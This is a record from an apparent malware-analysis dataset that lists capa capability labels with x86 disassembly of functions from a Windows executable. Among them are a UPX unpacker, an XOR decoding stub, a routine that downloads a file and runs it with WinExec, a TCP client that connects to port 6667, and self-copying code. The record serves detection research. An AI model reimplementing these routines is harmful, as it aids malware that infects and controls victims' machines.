joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d7a
nop
nop
sub eax, 0x403d20
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
xor ebx, ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40105a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 0x10]
mov dword [ebp - 8], 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401051
cmp dword [ebp - 0xc], 4
jne 0x401051
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x14]
mov bl, 1
mov dword [ecx], eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret

Function at 0x40105f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4093a8]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
lea eax, [ebp - 0x20]
push eax
xor bl, bl
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4010c7
cmp dword [ebp - 0x10], 2
jne 0x4010c7
cmp dword [ebp - 0x1c], 5
ja 0x4010a0
jne 0x4010c7
cmp dword [ebp - 0x18], 1
jb 0x4010c7
lea eax, [ebp - 0x24]
push eax
push dword [0x4090b0]
push dword [0x4090ac]
push 0x80000002
call fcn.00401000
add esp, 0x10
test al, al
je 0x4010c7
mov bl, byte [ebp - 0x24]
and bl, 1
mov ecx, dword [ebp + 0x74]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00402e61
add ebp, 0x78
leave
ret

Function at 0x4010d9
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x4093a8]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40111e
push esi
push str.ADOBE_READLOGGER_CMD:COMMENT:_s
lea eax, [ebp - 0xcc]
push 0xc7
push eax
call dword [sym.imp.MSVCR80.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e61
leave
ret

Function at 0x401301
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x40131e
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x20]
mov dword [esi], eax
mov eax, dword [esi]
pop esi
leave
ret
Function at 0x4013ea
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
call fcn.00401350
xor ebx, ebx
test al, al
je 0x401491
cmp byte [edi], bl
jne 0x401491
cmp dword [edi + 4], ebx
jne 0x401433
cmp byte [ebp + 8], bl
push 2
pop eax
je 0x40141b
mov eax, 0x1000002
push ebx
push ebx
push ebx
push eax
push ebx
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [edi + 4], eax
jne 0x401433
mov byte [edi], 1
mov eax, dword [edi + 4]
cmp eax, ebx
je 0x401491
cmp dword [edi + 8], ebx
jne 0x401491
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [edi + 8], eax
jne 0x401457
mov byte [edi], 1
jmp 0x401491
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.00401394
add esp, 0xc
test al, al
je 0x401482
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x401482
mov ecx, dword [edi + 8]
lea eax, [ecx + eax - 1]
mov dword [edi + 0xc], eax
jmp 0x401491
push dword [edi + 8]
mov byte [edi], 1
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [edi + 8], ebx
xor eax, eax
cmp dword [edi + 8], ebx
pop esi
setne al
pop ebx
leave
ret

Function at 0x40149d
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop ebp
ret

Function at 0x4014b2
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x4093a8]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0
jbe 0x40153c
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xffffffff
je 0x40153c
mov dword [ebp - 0x150], 1
jmp 0x40150a
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp + 0xc]
jae 0x401530
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40152e
jmp 0x401530
jmp 0x4014fd
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e61
leave
ret
Function at 0x40178b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 4], 0
jg 0x4017c9
jl 0x4017ad
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x7fffffff
ja 0x4017c9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [eax + 4], 0xffffffff
jg 0x4017ce
jl 0x4017c9
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0x80000001
jae 0x4017ce
jmp 0x401856
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax + 8]
neg eax
sbb eax, eax
and eax, 0xfffffffe
inc eax
inc eax
push eax
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x401856
and dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 0xc]
jae 0x401856
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
call fcn.004016b8
pop ecx
pop ecx
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401849
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jae 0x40184b
jmp 0x401856
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x4017fd
leave
ret

Function at 0x402a75
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xcc]
sub esp, 0x14c
mov eax, dword [0x4093a8]
xor eax, ebp
mov dword [ebp + 0xc8], eax
mov eax, dword [ebp + 0xd4]
push ebx
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x7c]
push ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor ebx, ebx
test eax, eax
jne 0x402af2
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x136
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
je 0x402ad2
mov byte [ebp - 0x71], bl
jmp 0x402ae4
push dword [ebp - 0x78]
lea eax, [ebp - 0x70]
push eax
push ebx
push esi
mov byte [ebp - 0x71], 1
call edi
add esp, 0x10
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x71], bl
jne 0x402afd
push dword [ebp - 0x78]
push ebx
push ebx
push esi
call edi
add esp, 0x10
mov ecx, dword [ebp + 0xc8]
xor ecx, ebp
pop ebx
call fcn.00402e61
add ebp, 0xcc
leave
ret

Function at 0x402e61
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4093a8]
jne 0x402e6b
repz ret
jmp fcn.004033ae
Function at 0x4026dc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004039c8
test esi, esi
jne 0x402712
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403a8c
jmp 0x402730
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025f0
mov edi, eax
test esi, esi
je 0x402730
cmp dword [ebx], 0
je 0x402730
dec esi
jmp 0x402719
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402d4c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x408008], 0x8088405
inc edx
mov dword [ebx + 0x408008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40316c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x408014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403204
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4031e4
xor eax, eax
push ebp
push 0x4031dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403220
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4031e4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x408014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x408014], ax
mov esp, ebp
pop ebp
ret

Function at 0x40384c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x409034], 0
je 0x4038ad
cmp word [0x409208], 0xd7b2
jne 0x403875
cmp dword [0x409210], 0
jbe 0x403875
mov eax, 0x409204
call dword [0x409220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x408080
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4038d4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x408020], 0
jne 0x4038c9
push 0
push 0x408078
push 0x408080
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4042a8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40430e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403b08
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402f04
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4042f8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404315
lea eax, [ebp - 0x10]
call fcn.004039c8
ret
Function at 0x4047ec
Capabilities:
Create http request
Create process on windows
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa80
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x580], edx
mov dword [ebp - 0x57c], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403d10
xor eax, eax
push ebp
push 0x404a51
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x1a
call fcn.00402d4c
mov edx, dword [0x4080cc]
mov dl, byte [edx + eax - 1]
lea eax, [ebp - 0x564]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x564]
lea eax, [ebp - 0x568]
call fcn.00402c4c
mov eax, 0x1a
call fcn.00402d4c
mov edx, dword [0x4080cc]
mov dl, byte [edx + eax - 1]
lea eax, [ebp - 0x56c]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x56c]
lea eax, [ebp - 0x568]
mov cl, 2
call fcn.00402c1c
lea edx, [ebp - 0x568]
lea eax, [ebp - 0x570]
call fcn.00402c4c
mov eax, 0x1a
call fcn.00402d4c
mov edx, dword [0x4080cc]
mov dl, byte [edx + eax - 1]
lea eax, [ebp - 0x56c]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x56c]
lea eax, [ebp - 0x570]
mov cl, 3
call fcn.00402c1c
lea edx, [ebp - 0x570]
lea eax, [ebp - 0x578]
call fcn.00402c4c
mov eax, 0x1a
call fcn.00402d4c
mov edx, dword [0x4080cc]
mov dl, byte [edx + eax - 1]
lea eax, [ebp - 0x56c]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x56c]
lea eax, [ebp - 0x578]
mov cl, 4
call fcn.00402c1c
lea edx, [ebp - 0x578]
lea eax, [ebp - 0xc]
call fcn.00403afc
xor eax, eax
mov dword [ebp - 0x14], eax
xor esi, esi
push 0x404a6c
push dword [ebp - 0xc]
push 0x404a88
lea eax, [ebp - 0x57c]
mov edx, 3
call fcn.00403be0
mov edx, dword [ebp - 0x57c]
lea eax, [ebp - 0x160]
call fcn.00402a2c
mov edx, 1
lea eax, [ebp - 0x160]
call fcn.00402e8c
push 0
push 0
push 0
push 0
push 0x404a90
call sub.wininet.dll_InternetOpenA
mov ebx, eax
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403d20
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov ebx, eax
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.wininet.dll_InternetQueryDataAvailable
test esi, esi
jbe 0x4049ac
push 0
push 0
push 0
push esi
push ebx
call sub.wininet.dll_InternetSetFilePointer
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x560]
push eax
push ebx
call sub.wininet.dll_InternetReadFile
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x404a23
push 0
lea edx, [ebp - 0x560]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x160]
call fcn.00402ba4
cmp dword [ebp - 0x10], 0
jne 0x4049ac
lea eax, [ebp - 0x160]
call fcn.00402bc4
push 0
push 0x404a6c
push dword [ebp - 0xc]
push 0x404a88
lea eax, [ebp - 0x580]
mov edx, 3
call fcn.00403be0
mov eax, dword [ebp - 0x580]
call fcn.00403d20
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404a58
lea eax, [ebp - 0x580]
mov edx, 2
call fcn.004039ec
lea eax, [ebp - 0xc]
call fcn.004039c8
lea eax, [ebp - 4]
call fcn.004039c8
ret
Function at 0x405164
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x198], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403d10
xor eax, eax
push ebp
push 0x4052ab
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.004039c8
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x405276
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00403d20
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40526c
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x405262
cmp dword [ebp - 4], 0
jne 0x40524e
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.00403acc
mov edx, dword [ebp - 0x198]
mov eax, 0x4052c4
call fcn.00403e64
dec eax
je 0x405261
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x19c]
call fcn.00403acc
mov edx, dword [ebp - 0x19c]
mov eax, 0x4052d0
call fcn.00403e64
dec eax
je 0x405261
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403acc
jmp 0x40526c
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, edi
call fcn.00403acc
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x4051df
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405280
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4052b2
lea eax, [ebp - 0x19c]
mov edx, 2
call fcn.004039ec
lea eax, [ebp - 4]
call fcn.004039c8
ret
Function at 0x4052d4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403d10
xor eax, eax
push ebp
push 0x4053f6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409688
mov dl, 1
mov al, 2
call fcn.00404644
push eax
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x409684], eax
cmp dword [0x409684], 0xffffffff
je 0x4053db
mov word [0x409674], 2
push 0x1a0b
call sub.wsock32.dll_htons
mov word [0x409676], ax
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00405164
mov eax, dword [ebp - 0xc]
call fcn.00403d20
push eax
call sub.wsock32.dll_inet_addr
mov dword [0x409678], eax
push 0x10
push 0x409674
mov eax, dword [0x409684]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x4053d6
lea eax, [ebp - 8]
call fcn.00404bc0
push 0x40540c
push dword [ebp - 8]
push 0x40541c
push dword [ebp - 8]
push 0x405428
push dword [ebp - 8]
push 0x405444
lea eax, [ebp - 0x10]
mov edx, 7
call fcn.00403be0
mov eax, dword [ebp - 0x10]
call fcn.00404b1c
push 0x405450
push dword [ebp - 8]
push 0x405444
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403be0
mov eax, dword [ebp - 0x14]
call fcn.00404b1c
call fcn.00404c58
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4053fd
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004039ec
ret
Function at 0x405b3c
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
xor edx, edx
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403d10
xor eax, eax
push ebp
push 0x405ceb
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1dc]
mov eax, dword [ebp - 4]
call fcn.0040664c
mov eax, dword [ebp - 0x1dc]
call fcn.00405824
test eax, eax
jne 0x405cc0
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.004026dc
mov edx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.00403c6c
je 0x405cc0
lea eax, [ebp - 8]
call fcn.004039c8
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040599c
cmp dword [ebp - 8], 0
je 0x405cc0
mov edx, dword [ebp - 8]
mov eax, 0x405d00
call fcn.00403e64
test eax, eax
jg 0x405cc0
push 0
mov eax, dword [ebp - 4]
call fcn.00403d20
push eax
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.004026dc
mov eax, dword [ebp - 0x1e4]
call fcn.00403d20
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x405cc0
push 0x405d20
lea eax, [ebp - 0x1e8]
call fcn.00405ab0
push dword [ebp - 0x1e8]
push 0x405d2c
mov eax, dword [ebp - 8]
call fcn.00403b20
lea edx, [ebp - 0x1ec]
call fcn.004057e0
push dword [ebp - 0x1ec]
push 0x405d38
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.00403be0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d8]
call fcn.00402a2c
lea eax, [ebp - 0x1d8]
call fcn.004027c8
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d8]
call fcn.00403f10
call fcn.00402adc
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1d8]
call fcn.00403f10
call fcn.00402adc
lea eax, [ebp - 0x1d8]
call fcn.00402bc4
mov eax, dword [0x4080d0]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405cf2
lea eax, [ebp - 0x1ec]
mov edx, 5
call fcn.004039ec
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004039ec
ret
Function at 0x405d3c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x405d45
mov eax, dword [ebp - 4]
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x4014], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403d10
mov eax, dword [ebp - 8]
call fcn.00403d10
xor eax, eax
push ebp
push 0x405e5f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x400f]
mov edx, 0x3fff
call fcn.00404658
xor eax, eax
push ebp
push 0x405e28
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403d20
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 0x10], 0x3ffe
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x400f]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403d20
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
lea eax, [ebp - 0x4014]
lea edx, [ebp - 0x400f]
mov ecx, 0x3fff
call fcn.00403b08
cmp dword [ebp - 0x4014], 0
je 0x405e1e
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x400f]
mov ecx, 0x3fff
call fcn.00403b08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405e39
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405e66
lea eax, [ebp - 0x4014]
call fcn.004039c8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004039ec
ret